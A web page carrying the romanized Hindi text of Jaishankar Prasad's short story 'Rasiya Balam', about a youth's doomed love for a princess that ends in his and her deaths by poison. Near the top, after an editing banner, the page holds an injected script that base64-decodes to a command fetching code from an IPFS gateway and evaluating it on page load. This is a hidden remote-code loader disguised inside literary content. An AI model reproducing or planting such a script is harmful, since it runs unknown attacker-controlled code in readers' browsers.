रसिया बालम -जयशंकर प्रसाद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sansar ko shantimay karane ke lie rajani devi ne abhi apana adhikar poornat: nahian prapt kiya hai. aanshumali abhi apane adhe bimb ko pratichi mean dikha rahe haian. keval ek manushy arbud-giri-sudridh durg ke niche ek jharane ke tat par baitha hua us ardh-svarn piand ki or dekhata hai aur kabhi-kabhi durg ke oopar rajamahal ki khidaqi ki or bhi dekh leta hai, phir kuchh gunagunane lagata hai.

ghantoan use vaise hi baithe bit gaye. koee kary nahian, keval use us khidaqi ki or dekhana. akasmath ek ujale ki prabha us nichi paha di bhoomi par p di aur sath hi kisi vastu ka shabd bhi hua, parantu us yuvak ka dhyan us or nahian tha. vah to keval us khidaqi mean ke us sundar mukh ki or dekhane ki asha se usi or dekhata raha, jisane keval ek bar use jhalak dikhakar mantramugdh kar diya tha.

idhar us kagaz mean lipati huee vastu ko ek aparichit vyakti, jo chhipa kh da tha, uthakar chalata hua. dhire-dhire rajani ki gambhirata us shail-pradesh mean aur bhi gambhir ho gayi aur jha diyoan ki ot mean to andhakar moortiman ho baitha hua jnat hota tha, parantu us yuvak ko isaki kuchh bhi chinta nahian. jab tak us khidaqi mean prakash tha, tab tak vah usi or nirnimesh dekh raha tha, aur kabhi-kabhi asphut svar se vahi gun-gunahat usake mukh se vanaspatiyoan ko sunaee p dati thi.

jab vah prakash bilkul n raha, tab vah yuvak utha aur samip ke jharane ke tat se hote hue usi andhakar mean vilin ho gaya.

bhag 2

divakar ki pahali kiran ne jab chameli ki kaliyoan ko chatakaya, tab un daliyoan ko utana nahian jnat hua, jitana ki ek yuvak ke sharir-sparsh se unhean hilana p da, jo ki kaante aur jha diyoan ka kuchh bhi dhyan n karake sidha apane marg ka anusaran kar raha hai. vah yuvak phir usi khidaqi ke samane pahuancha aur jakar apane poorv-parichit shilakhand par baith gaya, aur pun: vahi kriya arambh huee. dhire-dhire ek sainik purush ne akar us yuvak ke kandhe par apana hath rakkha.

yuvak chauank utha aur krodhit hokar bola-tum kaun ho?

agantuk hans p da aur bola-yahi to mera bhi prashn hai ki tum kaun ho? aur kyoan is ant:pur ki khidaqi ke samane baithe ho? aur tumhara kya abhipray hai?

yuvak-maian yahaan ghoomata hooan, aur yahi mera makan hai. maian jo yahaan baitha hooan, mitr! vah bat yah hai ki mera ek mitr isi prakoshth mean rahata hai; maian kabhi-kabhi usaka darshan pa jata hooan, aur apane chitt ko prasann karata hooan.

sainik-par mitr! tum nahian janate ki yah rajakiy ant:pur hai. tumhean aise dekhakar tumhari kya dasha ho sakati hai? aur maharaja tumhean kya samajheange?

yuvak-jo kuchh ho; mera kuchh asath abhipray nahian hai, maian to keval sundar roop ka darshan hi nirantar chahata hooan, aur yadi maharaj bhi poochhean to yahi kahooanga.

sainik-tum jise dekhate ho, vah svayan rajakumari hai, aur tumhean kabhi nahian chahati. atev tumhara yah prayas vyarth hai.

yuvak-kya vah rajakumari hai? to chinta kya! mujhe to keval dekhana hai, maian baithe-baithe dekha karooanga. par tumhean yah kaise maloom ki vah mujhe nahian chahati?

sainik-praman chahate ho to (ek patr dekar) yah dekho.

yuvak use lekar padhata hai. usamean likha tha.

‘‘yuvak!

tum kyoan apana samay vyarth vyatit karate ho? maian tumase kadapi nahian mil sakati. kyoan mahinoan se yahaan baithe-baithe apana sharir nasht kar rahe ho, mujhe tumhari avastha dekhakar daya ati hai. at: tumako sachet karati hooan, phir kabhi yahaan mat baithana.

vahi-

jise tum dekha karate ho!

bhag 3

yuvak kuchh der ke lie stambhit ho gaya. sainik samane kh da tha. akasmath yuvak uthakar kh da ho gaya aur sainik ka hath pak dakar bola-mitr! tum hamara kuchh upakar kar sakate ho? yadi karo, to kuchh vishesh parishram n hoga.

sainik-kaho, kya hai? yadi ho sakega, to avashy karooanga.

tatkal us yuvak ne apani uangali ek patthar se kuchal di, aur apane phate vastr mean se ek tuk da pha dakar tinaka lekar usi rakt se tuk de par kuchh likha, aur us sainik ke hath mean dekar kaha-yadi ham n rahean, to isako us nishthur ke hath mean de dena. bas, aur kuchh nahian.

itana kahakar yuvak ne paha di par se koodana chaha; par sainik ne use pak d liya, aur kaha-rasiya! thaharo! -

yuvak avakh ho gaya; kyoanki ab paanch prahari sainik ke samane sir jhukaye kh de the, aur poorv sainik svayan arbudagiri ke maharaj the.

maharaj age hue aur sainikoan ke bich mean rasiya. sab sianhadvar ki or chale. kile ke bhitar pahuanchakar rasiya ko sath mean liye hue maharaj ek prakoshth mean pahuanche. maharaj ne prahari ko ajna di ki maharani aur rajakumari ko bula lave. vah pranam kar chala gaya.

maharaj-kyoan balavant sianh! tumane apani yah kya dasha bana rakkhi hai?

rasiya-(chauankakar) maharaj ko mera nam kaise jnat hua?

maharaj-balavant! maian bachapan se tumhean janata hooan aur tumhare poorv purushoan ko bhi janata hooan.

rasiya chup ho gaya. itane mean maharani bhi rajakumari ko sath liye hue a gayian.

maharani ne pranam kar poochha-kya ajna hai?

maharaj-baitho, kuchh vishesh bat hai. suno, aur dhyan se usaka uttar do. yah yuvak jo tumhare samane baitha hai, ek uttam kshatriy kul ka hai, aur maian ise janata hooan. yah hamari rajakumari ke pranay ka bhikhari hai. meri ichchha hai ki isase usaka byah ho jay.

rajakumari, jisane ki ate hi yuvak ko dekh liya tha aur jo sankuchit hokar is samay maharani ke pichhe kh di thi, yah sunakar aur bhi sankuchit huee. par maharani ka mukh krodh se lal ho gaya. vah k de svar mean bolian-kya apako khojate-khojate meri kusum-kumari kanya ke liye yahi var mila hai? vah! achchha jo d milaya. kangal aur usake lie nidhi; bandar aur usake gale mean har; bhala yah bhi kahian sambhav hai? ap shighr apane bhrantirog ki aushadhi kar daliye. yah bhi kaisa parihas hai! (kanya se) chalo beti, yahaan se chalo.

maharaj-nahian, thaharo aur suno. yah sthir ho chuka hai ki rajakumari ka byah balavant se hoga, tum ise parihas mat jano.

ab jo maharani ne maharaj ke mukh ki or dekha, to vah dridhapratijn dikhaee p de. nidan vichalit hokar maharani ne kaha-achchha, maian bhi prastut ho jaooangi par is shart par ki jab yah purush apane bahubal se us jharane ke samip se niche tak ek paha di rasta katakar bana le; usake lie samay abhi se keval prat:kal tak ka deti hooan-jab tak ki kukkut ka svar n sunaee p de. tab avashy maian bhi rajakumari ka byah isi se kar dooangi.

maharaj ne yuvak ki or dekha, jo nistabdh baitha hua sun raha tha. vah usi kshan utha aur bola-maian prastut hooan, par kuchh aujar aur masale ke lie tho de vish ki avashyakata hai.

usaki ajnanusar sab vastuean use mil gayian, aur vah shighrata se usi jharane ke tat ki or dau da, aur ek vishal shilakhand par jakar baith gaya, aur use to dane ka udyog karane laga; kyoanki isi ke niche ek gupt paha di path tha.

bhag 4

nisha ka andhakar kanan-pradesh mean apana poora adhikar jamaye hue hai. pray: adhi rat bit chuki hai. par keval un agni-sphuliangoan se kabhi-kabhi tho da-sa juganoo ka-sa prakash ho jata hai, jo ki rasiya ke shastr-prahar se patthar mean se nikal p date haian. danadanh chot chali ja rahi hai-viram nahian hai kshan bhar bhi-n to us shail ko aur n us shastr ko. alaukik shakti se vah yuvak aviram chot lagaye hi ja raha hai. ek kshan ke liye bhi idhar-udhar nahian dekhata. dekhata hai, to keval apana hath aur patthar; uangali ek to pahale hi kuchali ja chuki thi, doosare aviram parishram! isase rakt bahane laga tha. par vishram kahaan? us vajrasar shail par vajr ke saman kar se vah yuvak chot lagaye hi jata hai. keval parishram hi nahian, yuvak saphal bhi ho raha hai. usaki ek-ek chot mean das-das ser ke dhoke kat-katakar paha d par se ludhaqate haian, jo soye hue jangali pashuoan ko ghab da dete haian. yah kya hai? keval usaki tanmayata-keval prem hi us pashan ko bhi to de dalata hai.

phir vahi danadanh-barabar lagatar parishram, viram nahian hai! idhar us khidaqi mean se alok bhi nikal raha hai aur kabhi-kabhi ek mukh da us khidaqi se jh aauankakar dekh raha hai. par yuvak ko kuchh dhyan nahian, vah apana kary karata ja raha hai.

abhi ratri ke jane ke lie pahar-bhar hai. shital vayu us kanan ko shital kar rahi hai. akasmath ‘tarun-kukkut-kanthanad’ sunaee p da, phir kuchh nahian. vah kanan ekaek shoony ho gaya. n to vah shabd hi hai aur n to pattharoan se agni-sphuliang nikalate haian.

akasmath us khidaqi mean se ek sundar mukh nikala. usane alok dalakar dekha ki rasiya ek patr hath mean liye hai aur kuchh kah raha hai. isake uparant vah us patr ko pi gaya aur tho di der mean vah usi shilakhand par gir p da. yah dekh us mukh se bhi ek halka chitkar nikal gaya. khidaqi band ho gayi. phir keval andhakar rah gaya.

bhag 5

prabhat ka malay-marut us arbud-giri ke kanan mean vaisi kri da nahian kar raha hai, jaisi pahale karata tha. divakar ki kiran bhi kuchh prabhat ke mis se mand aur malin ho rahi hai. ek shav ke samip ek purush kh da hai, aur usaki aankhoan se ashrudhara bah rahi hai, aur vah kah raha hai-balavant! aisi shighrata kya thi, jo tumane aisa kiya? yah arbud-giri ka pradesh to kuchh samay mean yah vriddh tumhian ko deta, aur tum usamean chahe jis sthan par achchhe paryank par sote. phir, aise kyoan p de ho? vats! yah to keval tumhari pariksha thi, yah tumane kya kiya?

itane mean ek sundari vimukt-kuntala-jo ki svayan rajakumari thi-dau di huee ayi aur us shav ko dekhakar thithak gayi, natajanu hokar us purush ka, jo ki maharaj the aur jise is samay tak rajakumari pahachan n saki thi-charan dharakar boli-mahatmanh ! kya vyakti ne, jo yahaan p da hai, mujhe kuchh dene ke lie apako diya hai? ya kuchh kaha hai?

maharaj ne chupachap apane vastr mean se ek vastr ka tuk da nikalakar de diya. us par lal aksharoan mean kuchh likha tha. us sundari ne use dekha aur dekhakar kaha-kripaya ap hi padh dijiye.

maharaj ne use padha. usamean likha tha-‘‘maian nahian janata tha ki tum itani nithur ho. astu; ab maian yahian rahooanga; par yad rakhana; maian tumase avashy milooanga, kyoanki maian tumhean nity dekhana chahata hooan, aur aise sthan mean dekhooanga, jahaan kabhi palak girati hi nahian.

tumhara darshanabhilashi-

‘‘rasiya’’

isi samay maharaj ko sundari pahachan gayi, aur phir charan dharakar boli-pitaji, kshama karana. aur, shighratapoorvak rasiya ke kar-sthit patr ko lekar avashesh pi gayi aur gir p di. keval usake mukh se itana nikala-‘‘pitaji, kshama karana.’’ maharaj dekh rahe the!

1. vastav mean vah shabd kukkut ka nahian balki chhadm-veshini maharani ka tha, jo ki balavant sianh aise din vyakti se apani kusum-kumari ke panigrahan ki abhilasha nahian rakhati thi. kintu maharaj isase anabhijn the.